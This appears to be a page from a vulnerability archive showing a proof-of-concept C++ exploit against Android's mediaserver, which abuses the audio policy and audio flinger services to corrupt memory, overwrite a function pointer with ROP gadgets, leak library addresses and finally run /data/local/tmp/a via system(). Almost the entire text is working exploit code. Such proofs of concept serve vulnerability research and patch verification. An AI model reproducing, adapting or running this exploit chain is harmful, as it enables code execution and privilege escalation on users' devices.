4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.cpp CPP
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
#include <errno.h>

#include <binder/IPCThreadState.h>
#include <binder/IServiceManager.h>

#include <media/AudioSystem.h>
#include <media/IAudioFlinger.h>
#include <media/IAudioPolicyService.h>

#include "primitives.h"
#include "memory_map.h"
#include "defs.h"
#include "gadgets.h"
#include "write32.h"

#define APM_AUDIO_OUT_DEVICE_REMOTE_ALL (0x8000)

namespace android {

int main_logic(int argc, char* argv[]) {

	//Getting the handles for the services
	sp<IServiceManager> sm = defaultServiceManager();
	sp<IBinder> aps_binder = sm->getService(String16("media.audio_policy"));
	sp<IBinder> af_binder = sm->getService(String16("media.audio_flinger"));
	sp<IAudioPolicyService> aps = interface_cast<IAudioPolicyService>(aps_binder);
	sp<IAudioFlinger> af = interface_cast<IAudioFlinger>(af_binder);
	if (aps == NULL || af == NULL) {
		printf("[-] Failed to connect to audio services\n");
		return -ENOENT;
	}
	printf("[+] Got audio policy service: %p\n", aps.get());
	printf("[+] Got audio flinger service: %p\n", af.get());

	//Incrementing the "device" field of one of the OutputDescriptors so that it will
	//have the APM_AUDIO_OUT_DEVICE_REMOTE_ALL flag on.
	//This will enable us to use the relative read using isStreamActiveRemotely from
	//the same base address
	printf("Incrementing the device field to be a remote device\n");
	for (int i=0; i<APM_AUDIO_OUT_DEVICE_REMOTE_ALL; i++)
		increment_by_one(aps, -1); //The device field is one DWORD behind the mRefCount array


	//Searching for the audio_hw_device_t template
	int match_offset;
	int res = find_memory_map(aps, g_audio_hw_device_t_template, sizeof(g_audio_hw_device_t_template),
				  START_OFFSET, MAX_OFFSET, match_offset);
	if (res != 0) {
		printf("[-] Failed to find audio_hw_device_t, aborting\n");
		return res;
	}
	set_primary_device_offset(match_offset);
	printf("[+] Found audio_hw_device_t template at offset %d\n", match_offset);

	//Changing the get_input_buffer_size function pointer to a relative read gadget from R0
	//This is done so that we can read a function pointer from audio.primary.goldfish.so and therefore
	//get the base address of the library (and in the process, all other libraries as well).
	int funcptr_current_value = RELATIVE_ADDRESS_OF_GET_INPUT_BUFFER_SIZE;
	int wanted_value = + read_r0_offset_108.library_offset 
			   + read_r0_offset_108.gadget_offset;

	printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);
	modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);
	funcptr_current_value = wanted_value;

	uint32_t read_function_pointer_address = af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
	uint32_t audio_primary_library_address = read_function_pointer_address - READ_FUNCTION_POINTER_OFFSET_FROM_BASE_ADDRESS;
	printf("Read function pointer %08X -> Assuming primary library load address is %08X\n",
	read_function_pointer_address, audio_primary_library_address);

	//Changing the get_input_buffer_size function pointer to a BX-LR
	//This is done so that we can get the address of the audio_hw_device_t instance
	wanted_value = + bx_lr_gadget_info.library_offset
		       + bx_lr_gadget_info.gadget_offset;

	printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);
	modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);
	funcptr_current_value = wanted_value;

	uint32_t primary_device_address = af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
	printf("[+] Got address of audio_hw_device_t: %08X\n", primary_device_address);
	set_primary_device_address(primary_device_address);
	
	//Changing the get_input_buffer_size function pointer to a write gadget
	wanted_value = + write_gadget_info.library_offset
		           + write_gadget_info.gadget_offset;
	
	printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);
	modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);
	funcptr_current_value = wanted_value;

	//Preparing the information for the "system" execution
	uint32_t scratch_pad_address = primary_device_address + 12; //This is the location of the reserved 12 DWORDs
	const char* wanted_path = "/data/local/tmp/a";
	uint32_t* data_ptr = (uint32_t*)wanted_path;
	int num_of_dwords_in_path = (strlen(wanted_path)/sizeof(uint32_t)) + 1;
	printf("[+] Writing %d DWORDs of path %s to %08X\n", num_of_dwords_in_path, wanted_path, scratch_pad_address);
	for (int i=0; i<num_of_dwords_in_path; i++)
		write32(af, aps, scratch_pad_address + i*sizeof(uint32_t), data_ptr[i]);

	//Writing the parameters to the scratch pad as well
	uint32_t system_address = audio_primary_library_address +      
                                 system_gadget.library_offset +
                                 system_gadget.gadget_offset;
    printf("[+] Calculated system address: %08X\n", system_address);

	printf("[+] Writing parameters to addresses %08X, %08X\n", primary_device_address + 88, primary_device_address + 96);
	write32(af, aps, primary_device_address + 32, scratch_pad_address);
	write32(af, aps, primary_device_address + 36, system_address);

	//Changing the function pointer of the get_input_bufer_size to the blx gadget
	uint32_t blx_gadget_address = audio_primary_library_address +
			   	      blx_gadget.library_offset +
				      blx_gadget.gadget_offset;
	printf("[+] Calculated blx gadget address: %08X\n", blx_gadget_address);
	write32(af, aps, primary_device_address + GET_INPUT_BUFFER_SIZE_OFFSET*sizeof(uint32_t), blx_gadget_address);


	//Calling the BLX gadget, which should result in execution
    af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
	printf("[+] Finished system-ing in mediaserver\n");

	return 0;

}
}

int main(int argc, char* argv[]) {
	return android::main_logic(argc, argv);
}